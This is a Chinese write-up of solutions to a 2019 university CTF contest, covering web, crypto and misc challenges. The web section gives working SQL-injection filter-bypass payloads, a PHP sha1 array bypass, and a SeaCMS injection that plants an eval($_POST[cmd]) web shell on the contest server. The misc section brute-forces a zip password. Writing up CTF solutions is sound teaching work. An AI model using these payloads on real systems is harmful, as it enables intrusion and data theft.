ctfCTF比赛解题报告整理

“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全

2019-04-01  本文已影响27人  蓝小俊

比赛时间:3月30日9:00-21:00
比赛网站:ctf.ecnu.edu.cn

Web1 土肥原贤二 100pt

题目 查询
在页面URL处尝试提交gid=1'报错,gid=1or1=1回显正常,直接使用 sqlmap进行测试,得到flag: sqlmap

得到flag:

flag{20_welcome_19 }

Web2 戴星炳 200pt

题目
题目提示

根据题目要求在2s快速提交正确结果即可获取flag,Python脚本如下:

# coding=utf-8
import io
import re
import requests

s = requests.Session()
url = "http://47.103.43.235:82/web/a/index.php"
req = s.get(url)
str= req.content
print(str.decode('utf-8'))

tmp = re.search(r'</p><p>(.*)</p>',str.decode('utf-8'))
print(tmp.group(1))

key_value = {
    "result": eval(tmp.group(1))
}
print(eval(tmp.group(1)))
req = s.post("http://47.103.43.235:82/web/a/index.php", data=key_value)
print(req.text)

运行结果:flag{Y0U4R33o_F4ST!}。

Web3 MD5碰撞

题目

右键查看源代码,发现提示

图片.png

网上查阅资料,进行MD5碰撞即可
Payload:

param1=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
&param2=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
图片.png
得到:flag{MD5@_@success}

Web4 SeaCMS

题目

参考Seacms漏洞分析利用复现 By Assassin Search.php漏洞利用姿势,写入一句话木马,用Cknife连接之。

漏洞Ployload

Ployload:http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[cmd])
在根目录下发现flag.txt,获取flag{!!seacms_@@}

菜刀

Web5 Break the sha

图片.png
F12查看源代码发现,存在源代码泄露,访问下载index.phps文件打开获取:
源代码
name与password字段用 ==弱类型进行比较,sha1用 ===进行强类型比较,可以用数组绕过。
Payload:name[]=1&password[]=2
回显:得到flag{Y0ujustbr0ke_sha1} 回显

Web6 SQLi2

题目

观察到 id===MQ,QM==是1的Base64编码,推测为Base64编码后逆序传值。
手工注入测试发现过滤了 and、 or、 select、 union关键字,去除了单引号、双引号、等号、空格等字符,可以双写绕过关键字的过滤,采用 /**/绕过空格,使用字符窜的hex编码绕过引号以及使用 regexp或like绕过等号。

-1/**/uniunionon/**/selselectect/**/1,group_concat(schema_name),3,4,5,6/**/from/**/infoorrmation_schema.schemata--
爆数据库

或者1/**/ununionion/**/selselectect/**/database(),2,3,4,5,6 得到当前使用ctf_sql数据库

-1/**/uniunionon/**/selselectect/**/1,group_concat(table_name),3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/regexp/**/0x6374665f73716c--
爆ctf_sql中的表
1/**/ununionion/**/selselectect/**/group_concat(table_name),2,3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()

得到数据表book,flag

1/**/uniunionon/**/selselectect/**/1,group_concat(column_name),3,4,5,6/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/regexp/**/0x666c6167--
爆flag中的列

得到字段flag

-1/**/uniunionon/**/selselectect/**/1,group_concat(flag),3,4,5,6/**/from/**/flag--
获取flag
得到flag{s9li_1s_s0_e4sY}

Crypto1 神秘代码

题目
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE

在Base64解密不断进行B64解密得到:fB__l621a4h4g_ai{&i}
零散看到flag,明显是栅栏密码,每组字符数 5,进行解密

栅栏密码解密
得到flag{B64&2hai_14i}

Crypto2 神秘代码2

题目

观察发现
f比b ASCII大4
l比 q ASCII 大 5
a 比[ ASCII 大 6
g比` ASCII 大 7
猜想接下来的明文ASCII 比 密文ASCII 大8,9,10,11
Ployload:

str="bg[`sZ*Zg'dPfP`VM_SXVd"
j=0
str1 = ''
for i in range(4,26):
    str1 += chr(ord(str[j])+i)
    j=j+1
print str1

Crypto3 希尔密码

题目
给出加密矩阵和密文求明文,这里可以参考希尔密码解密过程求出33解密矩阵:
[[8,16,27],[8,99 ,24],[27,24,27]],这里乘上3
4密文矩阵 [[23,10,12,24],[16,2,25,3,],[9,0,9,5]]得到矩阵:
矩阵
对26进行取余后转化为字符打印得到 hillisflagxx,C++脚本:
    #include <iostream>
    using namespace std;
    int a[12] = {683,112,739,375,1984,278,2787,609,1248,318,1167,855};
    int main() {
        for(int i = 0; i < 12; i++) {
            cout << (char)('a' + a[i] % 26);
        }
        return 0;
    }

Crypto4 RSA256

拿到公钥和密文

-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKm9THp3YzcKBC/mvsfdyEFgLblCx6Ni
0bXTcqTQiRLZAgMBAAE=
-----END PUBLIC KEY-----

修改文件后缀为pem
通过openssl进行分解得到n和e,在通过yafu-x64分解得到 p和q,使用python脚本得到私钥

# coding=utf-8
import math
import sys
import libnum
from Crypto.PublicKey import RSA
keypair = RSA.generate(1024)
keypair.p =273821108020968288372911424519201044333
keypair.q =280385007186315115828483000867559983517
keypair.e = 65537
keypair.n = keypair.p * keypair.q
Qn = long((keypair.p-1) * (keypair.q-1))
keypair.d=libnum.invmod(keypair.e,Qn)
private = open('private.pem','w')
private.write(keypair.exportKey())
private.close()

再使用 openssl,修改fllllag.txt文件为flag.enc
rsautl -decrypt -in flag.enc -inkey private.pem解密得到flag{2o!9CTFECUN}

Misc1 奇怪的单点音

播放音频有明显的杂音和3次嘟声,尝试用 Aduacity打开分析,观察频谱图发现flag字段:


题目

观察到字符串(含下划线)共32位,疑似MD5加密,根据文件信息发现多次出现0,将下划线替换成0,ChaMd5.org成功解密。


文件信息 解密

Misc2 二维码

题目

首先扫描二维码,未发现有用信息,下载图片尝试使用 binwalk进行探测,发现存在压缩包文件,得到Hint:解压密码为管理人员的QQ号,使用binwalk -e 分离后使用ARCHPR进行爆破。


爆破

获取密码 674290437,解压得到flag{d6@YX$_m^aa0}。


得到flag

Misc3 jsfuck

题目

Base64解码后得到 jsfuck加密的js脚本,直接复制在控制台Console运行即可获取flag{sdf465454dfgert32}。

解密

Crypto&Misc&RE题目下载链接: https://pan.baidu.com/s/10tlJmUVZtekuYNgTi9eCNQ 提取码: bkiv
参考资料:
“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全夺旗赛预赛wp公布
2019“嘉韦思杯”上海市网络安全邀请赛WriteUp
2019年上海“嘉韦思杯”WP
http://www.mamicode.com/info-detail-2647027.html
2019 嘉韦思杯 除re wp
2019年嘉韦思杯wp

上一篇下一篇

猜你喜欢

热点阅读